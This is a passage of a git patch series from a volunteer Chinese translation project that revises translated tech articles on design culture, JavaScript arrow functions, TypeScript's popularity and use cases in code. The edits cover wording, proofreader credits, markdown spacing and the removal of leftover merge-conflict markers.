 几年前，我遇到一家财富 500 强公司的 CEO。当我告诉她我是设计师时，她的眼睛亮了起来。「哦，我喜欢设计！」她说，「我的团队就在设计团队的大厅里，他们在那里做了很多创造性的工作。」
 
-My heart sank. The design team was just down the hall from this executive, but they didn’t work together. Instead, they sat behind soundproof glass walls and did special “creative work” in isolation.
-我的心冷了下来。设计团队只是在这个行政大厅，但是他们没有一起工作。相反，他们坐在隔音玻璃后面，孤立地做「创造性工作」。
+我的心凉了一截。他们的设计团队只是在这个行政大厅，但是他们没有一起工作。相反，他们坐在隔音玻璃后面，孤立地做「创造性工作」。
 
-This executive made decisions every day that affected her customers. She bears some of the blame for not reaching out to the designers “in there.” But the design team is primarily at fault — for missing an opportunity to reach out and work together on some of the business’s most important challenges.
-这个行政大厅每天作出影响他的顾客的决定。「在这里」却没有与设计师接触，她需要承担一部分责任。但主要错在设计团队，因为错过了接触和在一些业务中最重要的挑战上共同工作的机会。
-
-Thanks to [Jared M. Spool](https://medium.com/@jmspool)  for writing an excellent article, [John Zeratsky](https://medium.com/@jazer)  and [Michael Margolis](https://medium.com/@mmargolis)  for editing and suggestions, and [Alex Schleifer](https://medium.com/@alexoid)  for the excellent *Wired* article.
+行政人员每天作出影响他的顾客的决定。「在这里」却没有与设计师接触，她需要承担一部分责任。但设计团队才是应该承担这个责任的——他们错过了与同事接触并共同完成业务中最重要难题的机会。
 
 感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的**《连线》**文章（做的努力）。
 

From 65485c5a30ded5a588f9ffce4fcb08805ff02cfb Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Fri, 12 May 2017 09:59:33 +0800
Subject: [PATCH 428/638] Update
 familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md

---
 ...ack-its-time-to-embrace-arrow-functions.md | 26 +++++++++----------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
index c7d0dde9847..5e5a5d3fecf 100644
--- a/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
+++ b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[lsvih](https://github.com/lsvih)
-> * 校对者：
+> * 校对者：[Germxu](https://github.com/Germxu),[GangsterHyj](https://github.com/GangsterHyj)
 
 # 别让你的偏爱拖了后腿：快拥抱箭头函数吧！ #
 
@@ -24,7 +24,7 @@
 const secret = msg => () => msg;
 ```
 
-我对有人在推特上指责我在误导别人感到不可思议。我写这个函数是为了示范在 ES6 中写柯里化函数是多么的**简单**。它是我能想到的 JavaScript 的**最简单**的实际应用与闭包表达式了。（相关阅读：“[什么是闭包](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-closure-b2f0d2152b36)”）
+我对有人在推特上指责我在误导别人感到不可思议。我写这个函数是为了示范在 ES6 中写柯里化函数是多么的**简单**。它是我能想到的在 JavaScript 中**最简单**的实际运用与闭包表达式了。（相关阅读：[什么是闭包](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-closure-b2f0d2152b36)）
 
 它和下面的函数表达式等价：
 
@@ -36,7 +36,7 @@ const secret = function (msg) {
 };
 ```
 
-`secret()` 是一个函数，它需要传入 `msg` 这个参数，然后会返回一个新的函数，这个函数将会返回 `msg` 的值。无论你像 `secret()` 中传入什么值，它都会应用闭包固定 `msg` 的值。
+`secret()` 是一个函数，它需要传入 `msg` 这个参数，然后会返回一个新的函数，这个函数将会返回 `msg` 的值。无论你向 `secret()` 中传入什么值，它都会利用闭包固定 `msg` 的值。
 
 你可以这么用它：
 
@@ -47,7 +47,7 @@ mySecret(); // 'hi'
 
 事实证明，双箭头并没有让人感到困惑。我坚信：
 
-> 对于熟悉的人来说，单行的箭头函数是 JavaScript 中**最具有可读性**的表达柯里化函数的方法了。
+> 对于熟悉的人来说，单行的箭头函数是 JavaScript 表达柯里化函数**最具有可读性**的方法了。
 
 有许多人指责我，告诉我将代码写的长一些比简短的代码更容易阅读。他们有时也许是对的，但是大多数情况都错了。更长、更详细的代码不一定更容易阅读——至少，对熟悉箭头函数的人来说就是如此。
 
@@ -63,17 +63,17 @@ mySecret(); // 'hi'
 
 **偏爱**是一种显著的[人类认知偏差](https://www.psychologytoday.com/blog/mind-my-money/200807/familiarity-bias-part-i-what-is-it)，它会让我们在有更好的选择的情况下做出自暴自弃的选择。我们会因此无视更舒服更好的方法，习惯性地选用以前使用过的老方法。
 
-你可以从这本书中更详细地了解“偏爱”这种心理：[《The Undoing Project: A Friendship that Changed Our Minds》](https://www.amazon.com/Undoing-Project-Friendship-Changed-Minds-ebook/dp/B01GI6S7EK/ref=as_li_ss_tl?ie=UTF8&qid=1492606452&sr=8-1&keywords=the+undoing+project&linkCode=ll1&tag=eejs-20&linkId=4ebd1476f97023e8acb4bba37ea18b90)（很多情况都是我们自欺欺人）。这本书推荐每个软件工程师都去读一读，因为它会鼓励你辩证地去看待问题，以及鼓励你多对假设进行实验，以免掉入各种认知陷阱中。书中那些发现认知陷阱的故事也很有趣。
+你可以从这本书中更详细地了解“偏爱”这种心理：[《The Undoing Project: A Friendship that Changed Our Minds》](https://www.amazon.com/Undoing-Project-Friendship-Changed-Minds-ebook/dp/B01GI6S7EK/ref=as_li_ss_tl?ie=UTF8&qid=1492606452&sr=8-1&keywords=the+undoing+project&linkCode=ll1&tag=eejs-20&linkId=4ebd1476f97023e8acb4bba37ea18b90)（很多情况都是我们自欺欺人）。每个软件工程师都应该读一读这本书，因为它会鼓励你辩证地去看待问题，以及鼓励你多对假设进行实验，以免掉入各种认知陷阱中。书中那些发现认知陷阱的故事也很有趣。
 
 ### 传统的函数表达式可能会在你的代码中导致 Bug 的出现 ###
 
-今天我将一个 ES6 写的柯里化箭头函数重新到 ES5 版本，以便发布开源模块让人们无需编译就能在老浏览器中用。然而 ES5 版本让我震惊。
+今天我用 ES5 的语法重写了一个 ES6 写的柯里化箭头函数，以便发布开源模块让人们无需编译就能在老浏览器中用。然而 ES5 版本让我震惊。
 
 ES6 版本的代码非常简短、简介、优雅——仅仅只需要 4 行。
 
-我觉得，这件事可以发个推特，告诉大家箭头函数是更加优越的一种实现，人们是时候放弃已经习惯传统函数表达式了。
+我觉得，这件事可以发个推特，告诉大家箭头函数是一种更加优越的实现，是时候如同放弃自己的坏习惯一样，放弃传统函数表达式的写法了。
 
-然后我发了一条推特：
+所以我发了一条推特：
 
 [![Markdown](http://i2.muimg.com/1949/15826825ba3ae5a9.png)](https://twitter.com/_ericelliott/status/854608052967751680/photo/1)
 
@@ -105,9 +105,9 @@ var composeMixins = function () {
 };
 ```
 
-这里的函数封装了一个 `pipe()`，它是一个通用、使用的函数，[用来组合函数](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-function-composition-20dfb109a1a0)。这个 `pipe()` 函数在 lodash 中是 `lodash/flow`，在 Ramda 中是 `R.pipe()`，在一些函数式编程语言中它甚至本身就是一个运算符号。
+这里的函数封装了一个 `pipe()`，它是标准的函数式编程的工具函数，通常[用于组合函数](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-function-composition-20dfb109a1a0)。这个 `pipe()` 函数在 lodash 中是 `lodash/flow`，在 Ramda 中是 `R.pipe()`，在一些函数式编程语言中它甚至本身就是一个运算符号。
 
-它对每个[熟悉函数式编程](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0)的人来说都应该很熟悉。它的实现主要依赖于[Reduce](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)。
+每个[熟悉函数式编程](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0)的人都应该很熟悉它。它的实现主要依赖于[Reduce](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)。
 
 在这个例子中，它用来组合混合函数，不过这点无关紧要（有专门写这方面的博客文章）。我们需要注意是以下几个重要的细节：
 
@@ -133,7 +133,7 @@ var composeMixins = function () {
 - ES6 版本代码在函数片段中定义了 `mix` 的默认值，由此你可以很清楚地看到它是参数的值。而 ES5 版本代码却混淆了这个细节问题，将它隐藏在函数体中。（不推荐原因之二）
 - ES6 版本代码仅有 2 层代码块，这将会帮助读者理解代码结构，以及知道如何去阅读这个代码。而 ES5 代码有 6 层代码块，复杂的层级结构会让函数结构的可读性变得很差。（不推荐原因之三）
 
-在 ES5 版本代码中，`pipe()` 占据了函数体的大部分内容——要把它们放到同一行中去简直是个荒唐的想法。非常**有必要**将这个函数打散，让我们的 ES5 版本代码更具有可读性：
+在 ES5 版本代码中，`pipe()` 占据了函数体的大部分内容——要把它们放到同一行中去简直是个荒唐的想法。非常**有必要**将 `pipe()` 这个函数单独抽离出来，让我们的 ES5 版本代码更具有可读性：
 
 ```
 var pipe = function () {
@@ -203,7 +203,7 @@ var composeMixins = function (...mixins) {
 
 现在，至少我觉得它的可读性显著的提升了。我们利用 **rest** 语法以及**默认参数**语法对它进行了修改。当然，你得对 rest 语法和默认参数语法很熟悉才会觉得这个版本的代码更可读。不过即使你不了解这些，我觉得这个版本也会看起来更加**有条理**。
 
-现在已经改进了许多了，但是我觉得这个版本还是比较简洁。将 `pips()` 抽象出来，写到它自己的函数里可能会**有所帮助**：
+现在已经改进了许多了，但是我觉得这个版本还是比较简洁。将 `pipe()` 抽象出来，写到它自己的函数里可能会**有所帮助**：
 
 ```
 const pipe = function (...fns) {
@@ -263,7 +263,7 @@ const composeMixins = (...mixins) => (
 ) => mix(...mixins)(instance);
 ```
 
-现在让我们回头看看最初的函数。无论我们后面做了什么调整，**我们都没有丢弃任何本来就有的信息**。并且，通过制定变量、在行内给定默认值，我们还给这个函数**增加了信息量**，描述了这个函数是怎么使用的以及参数值是什么样子的。
+现在让我们回头看看最初的函数。无论我们后面做了什么调整，**我们都没有丢弃任何本来就有的信息**。并且，通过在行内声明变量和默认值，我们还给这个函数**增加了信息量**，描述了这个函数是怎么使用的以及参数值是什么样子的。
 
 ES5 版本中增加的额外的代码其实都是语法干扰。这些代码对于**熟悉**柯里化箭头函数的人来说**没有任何有用之处**。
 

From c612f6d9ce5458da62b8afff3dca4733a300b20b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 12 May 2017 10:27:55 +0800
Subject: [PATCH 429/638] Update
 familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md

---
 ...s-is-holding-you-back-its-time-to-embrace-arrow-functions.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
index 5e5a5d3fecf..4cad1e48087 100644
--- a/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
+++ b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Familiarity Bias is Holding You Back: It’s Time to Embrace Arrow Functions](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)
-> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott)
+> * 原文作者：本文已获原作者 [Eric Elliott](https://medium.com/@_ericelliott) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[lsvih](https://github.com/lsvih)
 > * 校对者：[Germxu](https://github.com/Germxu),[GangsterHyj](https://github.com/GangsterHyj)

From 15eab42fc94eec12753b9c9fdad5d6b3fd550d0e Mon Sep 17 00:00:00 2001
From: Michael Wang <ylzcylx@gmail.com>
Date: Fri, 12 May 2017 11:09:33 +0800
Subject: [PATCH 430/638] Update typescript-getting-popular.md

---
 TODO/typescript-getting-popular.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/typescript-getting-popular.md b/TODO/typescript-getting-popular.md
index 020f9d880d8..8e6d64431bd 100644
--- a/TODO/typescript-getting-popular.md
+++ b/TODO/typescript-getting-popular.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Mary Branscombe](https://thenewstack.io/author/marybranscombe/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[loveky](https://github.com/loveky)
-> * 校对者：
+> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)  [Germxu](https://github.com/Germxu)
 
 # 为何 TypeScript 愈发流行了？ #
 
@@ -14,7 +14,7 @@
 
 参与了 Stack Overflow 调查的开发者中有 9.5% 的人正在使用 TypeScript，这使得 TypeScript 成为了第九流行的编程语言，排名在 Ruby 之前，用户量是 Perl 的两倍。此次 Stack Overflow 调查中的受访者来自不同领域，使用最广泛的两种语言是 JavaScript 和 SQL，这说明此次调查并非只针对前端开发。事实上，TypeScript 程序员出现在了参与 Stack Overflow 调查的所有 4 种工作角色中：web 开发者、桌面开发者、系统管理员与 DevOps 以及数据科学家。
 
-RedMonk 的排名将 Stack Overflow 的数据与 Github 上的 pull request 结合起来试图理解开发者的想法以及他们正在使用什么。TypeScript 同样受到了开发者的欢迎，排名从第 26 位上升到了第 17 位。其中一部分原因是 TypeScript 在 Stack Overflow 上关注度的提升，但主要还是因为在 GitHub 上参与的开发者在不断增多。
+RedMonk 的排名将 Stack Overflow 的数据与 GitHub 上的 pull request 结合起来试图理解开发者的想法以及他们正在使用什么。TypeScript 同样受到了开发者的欢迎，排名从第 26 位上升到了第 17 位。其中一部分原因是 TypeScript 在 Stack Overflow 上关注度的提升，但主要还是因为在 GitHub 上参与的开发者在不断增多。
 
 的确，GitHub 在其 2016 [年度总结](https://octoverse.github.com/)中把 TypeScript 列为在 GitHub 上用于项目开发的 316 种编程语言中最受欢迎榜单的第 15 位（基于 pull request 的数量以及相较与前一年 pull request 250% 的增长率）。
 

From 3cf9d524b1f2f4d6929dfa6c4c296ca9720e05ff Mon Sep 17 00:00:00 2001
From: Michael Wang <ylzcylx@gmail.com>
Date: Fri, 12 May 2017 11:12:17 +0800
Subject: [PATCH 431/638] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E8=80=85=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/the-truth-is-in-the-code.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/the-truth-is-in-the-code.md b/TODO/the-truth-is-in-the-code.md
index 18fcebd8e40..e7c2c00be74 100644
--- a/TODO/the-truth-is-in-the-code.md
+++ b/TODO/the-truth-is-in-the-code.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Bertil Muth](https://medium.freecodecamp.com/@BertilMuth)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[loveky](https://github.com/loveky)
-> * 校对者：[sunui](https://github.com/sunui)
+> * 校对者：[sunui](https://github.com/sunui) [yzgyyang](https://github.com/yzgyyang)
 
 # 真相就在代码中 #
 

From cd32cf60a1677aed2a86326fd44ec18a4aaab198 Mon Sep 17 00:00:00 2001
From: Michael Wang <ylzcylx@gmail.com>
Date: Fri, 12 May 2017 11:30:28 +0800
Subject: [PATCH 432/638] Update the-truth-is-in-the-code.md

---
 TODO/the-truth-is-in-the-code.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/the-truth-is-in-the-code.md b/TODO/the-truth-is-in-the-code.md
index e7c2c00be74..7d85753e0ba 100644
--- a/TODO/the-truth-is-in-the-code.md
+++ b/TODO/the-truth-is-in-the-code.md
@@ -118,7 +118,7 @@
 
 我想知道每一个用例中的不同部分对应哪块代码。
 
-#### 那么一个用例由哪些零件构成呢？####
+#### 那么一个用例由哪些零件构成呢？ ####
 
 用例的基础零件是使用户离期望结果更近一步的**步骤**。比如：“系统展示一个手套的列表。”
 
@@ -132,7 +132,7 @@
 
 用户在任何给定的时间点上只能执行一部分步骤。用户只有在输入配送信息后才可以填写支付详情。因此每一个用例中都有一个定义了该用例中所有步骤执行顺序的**流程**。以及一个根据系统当前状态，表示系统是否可以响应用户的操作的**条件**。
 
-#### 要理解代码，你需要一个简单方法来了解几件事情。####
+#### 要理解代码，你需要一个简单方法来了解几件事情。 ####
 
 对于一个用例（例如“买手套”）：
 

From b135e7e17c7fab715ff43371bc73e0cd76949801 Mon Sep 17 00:00:00 2001
From: ylq <ylq@ylqdeMacBook-Pro.local>
Date: Fri, 12 May 2017 16:22:00 +0800
Subject: [PATCH 433/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=84=8F=E8=A7=81?=
 =?UTF-8?q?=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/everyone-is-a-designer-get-over-it.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/everyone-is-a-designer-get-over-it.md b/TODO/everyone-is-a-designer-get-over-it.md
index 891ccb56f1c..3b82e63d4bb 100644
--- a/TODO/everyone-is-a-designer-get-over-it.md
+++ b/TODO/everyone-is-a-designer-get-over-it.md
@@ -11,13 +11,13 @@
 
 # 人人都是设计师。我们可以的。 #
 
-最近，[Jared Spool](https://www.uie.com/about/) 的一篇关于 Netflix 的性能工程师竟然才是是真正的**设计师**的[文章](https://articles.uie.com/signup/)引起了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是带有「设计」头衔的人。
+最近，[Jared Spool](https://www.uie.com/about/) 的一篇关于 Netflix 的性能工程师竟然才是真正的**设计师**的[文章](https://articles.uie.com/signup/)引起了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是带有「设计」头衔的人。
 
 ![](https://cdn-images-1.medium.com/max/800/1*qLoczEHONP188zelJbn-6w@2x.png)
 
 从一些反应中，你可能会认为 Jared 绑架了一些人的孩子用来献祭。Jared 到底写了什么呢？
 
-> 这个团队的成员都是性能工程师。他们架设，开发，维护一个复杂系统的性能。这占据了他们所有的时间。而且还远不止如此，在系统工程方面，几乎没有比这更技术性的工作。
+> 这个团队的成员都是性能工程师。他们架设、开发、维护一个复杂系统的性能。这占据了他们所有的时间。而且还远不止如此，在系统工程方面，几乎没有比这更技术性的工作。
 
 > 然而，在 Netflix 用户的视频流停止并出现旋转动画的那一刻，表明播放器正在等待更多的数据，这些工程师（的身份）发生了戏剧性的转变，**他们变成了用户体验设计师。**
 
@@ -39,7 +39,7 @@
 
 当你接受设计决策来自于你团队之外而且不带有「设计」头衔的人的现实时，你就会向你的其他同事靠拢。因为他们不仅是你的同事，也构成了你的设计团队。
 
-苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对**《连线》杂志**提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。
+苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对** 《连线》杂志 **提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。
 
 >**Airbnb 的解决方案其实淡化了设计师的概念。重点不是去创造一个「设计驱动的文化」，因为这就相当于对其他人说他们的看法是不重要的。这会把整个团体置于必须去迎合某个特权观点的不利位置。相反，Schleifer 则希望更多的人能够去细细体会那些只存在于设计师领域的 —— 「用户」观点。**
 
@@ -77,7 +77,7 @@ Dan Saffer 和 ThomasGläser 的 「用户体验设计学科」
 
 行政人员每天作出影响他的顾客的决定。「在这里」却没有与设计师接触，她需要承担一部分责任。但设计团队才是应该承担这个责任的——他们错过了与同事接触并共同完成业务中最重要难题的机会。
 
-感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的**《连线》**文章（做的努力）。
+感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的** 《连线》 **文章（做的努力）。
 
 ---
 

From ef81f0119e175c7aad23b5d55c79e5b178d757f9 Mon Sep 17 00:00:00 2001
From: ylq <ylq@ylqdeMacBook-Pro.local>
Date: Fri, 12 May 2017 16:44:28 +0800
Subject: [PATCH 434/638] =?UTF-8?q?=E5=88=9A=E5=88=9A=E6=96=87=E4=BB=B6?=
 =?UTF-8?q?=E4=B8=8D=E7=9F=A5=E9=81=93=E6=80=8E=E4=B9=88=E5=BC=84=E5=9D=8F?=
 =?UTF-8?q?=E4=BA=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/everyone-is-a-designer-get-over-it.md | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/TODO/everyone-is-a-designer-get-over-it.md b/TODO/everyone-is-a-designer-get-over-it.md
index 2f0562b017e..cf1bf49ff83 100644
--- a/TODO/everyone-is-a-designer-get-over-it.md
+++ b/TODO/everyone-is-a-designer-get-over-it.md
@@ -11,21 +11,13 @@
 
 # 人人都是设计师。我们可以的。 #
 
-<<<<<<< HEAD
-最近，[Jared Spool](https://www.uie.com/about/) 的一篇关于 Netflix 的性能工程师竟然才是真正的**设计师**的[文章](https://articles.uie.com/signup/)引起了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是带有「设计」头衔的人。
-=======
 最近，[Jared Spool](https://www.uie.com/about/) 的一篇关于 Netflix 的性能工程师竟然才是是真正的**设计师**的[文章](https://articles.uie.com/signup/)引起了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是带有「设计」头衔的人。
->>>>>>> 2ca009ad8d8f58a8159d332563c4d746b2dc2c2b
 
 ![](https://cdn-images-1.medium.com/max/800/1*qLoczEHONP188zelJbn-6w@2x.png)
 
 从一些反应中，你可能会认为 Jared 绑架了一些人的孩子用来献祭。Jared 到底写了什么呢？
 
-<<<<<<< HEAD
-> 这个团队的成员都是性能工程师。他们架设、开发、维护一个复杂系统的性能。这占据了他们所有的时间。而且还远不止如此，在系统工程方面，几乎没有比这更技术性的工作。
-=======
 > 这个团队的成员都是性能工程师。他们架设，开发，维护一个复杂系统的性能。这占据了他们所有的时间。而且还远不止如此，在系统工程方面，几乎没有比这更技术性的工作。
->>>>>>> 2ca009ad8d8f58a8159d332563c4d746b2dc2c2b
 
 > 然而，在 Netflix 用户的视频流停止并出现旋转动画的那一刻，表明播放器正在等待更多的数据，这些工程师（的身份）发生了戏剧性的转变，**他们变成了用户体验设计师。**
 
@@ -47,11 +39,7 @@
 
 当你接受设计决策来自于你团队之外而且不带有「设计」头衔的人的现实时，你就会向你的其他同事靠拢。因为他们不仅是你的同事，也构成了你的设计团队。
 
-<<<<<<< HEAD
 苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对** 《连线》杂志 **提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。
-=======
-苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对**《连线》杂志**提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。
->>>>>>> 2ca009ad8d8f58a8159d332563c4d746b2dc2c2b
 
 >**Airbnb 的解决方案其实淡化了设计师的概念。重点不是去创造一个「设计驱动的文化」，因为这就相当于对其他人说他们的看法是不重要的。这会把整个团体置于必须去迎合某个特权观点的不利位置。相反，Schleifer 则希望更多的人能够去细细体会那些只存在于设计师领域的 —— 「用户」观点。**
 
@@ -89,11 +77,7 @@ Dan Saffer 和 ThomasGläser 的 「用户体验设计学科」
 
 行政人员每天作出影响他的顾客的决定。「在这里」却没有与设计师接触，她需要承担一部分责任。但设计团队才是应该承担这个责任的——他们错过了与同事接触并共同完成业务中最重要难题的机会。
 
-<<<<<<< HEAD
 感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的** 《连线》 **文章（做的努力）。
-=======
-感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的**《连线》**文章（做的努力）。
->>>>>>> 2ca009ad8d8f58a8159d332563c4d746b2dc2c2b
 
 ---
 

From b44690445b438d6d14766e5525271d8a8cce8f47 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=9D=A8=E6=9F=B3=E9=9D=92?= <ylq950327@gmail.com>
Date: Fri, 12 May 2017 16:51:29 +0800
Subject: [PATCH 435/638] =?UTF-8?q?=E8=AF=95=E8=AF=95=E6=98=9F=E5=8F=B7?=
 =?UTF-8?q?=E5=89=8D=E5=90=8E=E5=8A=A0=E7=A9=BA=E6=A0=BC?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

试试星号前后加空格
---
 TODO/everyone-is-a-designer-get-over-it.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/everyone-is-a-designer-get-over-it.md b/TODO/everyone-is-a-designer-get-over-it.md
index cf1bf49ff83..f588cf5a3a4 100644
--- a/TODO/everyone-is-a-designer-get-over-it.md
+++ b/TODO/everyone-is-a-designer-get-over-it.md
@@ -39,7 +39,7 @@
 
 当你接受设计决策来自于你团队之外而且不带有「设计」头衔的人的现实时，你就会向你的其他同事靠拢。因为他们不仅是你的同事，也构成了你的设计团队。
 
-苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对** 《连线》杂志 **提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。
+苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对 ** 《连线》杂志 ** 提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。
 
 >**Airbnb 的解决方案其实淡化了设计师的概念。重点不是去创造一个「设计驱动的文化」，因为这就相当于对其他人说他们的看法是不重要的。这会把整个团体置于必须去迎合某个特权观点的不利位置。相反，Schleifer 则希望更多的人能够去细细体会那些只存在于设计师领域的 —— 「用户」观点。**
 
@@ -77,7 +77,7 @@ Dan Saffer 和 ThomasGläser 的 「用户体验设计学科」
 
 行政人员每天作出影响他的顾客的决定。「在这里」却没有与设计师接触，她需要承担一部分责任。但设计团队才是应该承担这个责任的——他们错过了与同事接触并共同完成业务中最重要难题的机会。
 
-感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的** 《连线》 **文章（做的努力）。
+感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的 ** 《连线》 ** 文章（做的努力）。
 
 ---
 

From c967fb0c96f3092ca120f629b67bf1f4a97bbbd3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=9D=A8=E6=9F=B3=E9=9D=92?= <ylq950327@gmail.com>
Date: Fri, 12 May 2017 17:06:38 +0800
Subject: [PATCH 436/638] Update everyone-is-a-designer-get-over-it.md
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

样式修改
---
 TODO/everyone-is-a-designer-get-over-it.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/everyone-is-a-designer-get-over-it.md b/TODO/everyone-is-a-designer-get-over-it.md
index f588cf5a3a4..5c2eae6156f 100644
--- a/TODO/everyone-is-a-designer-get-over-it.md
+++ b/TODO/everyone-is-a-designer-get-over-it.md
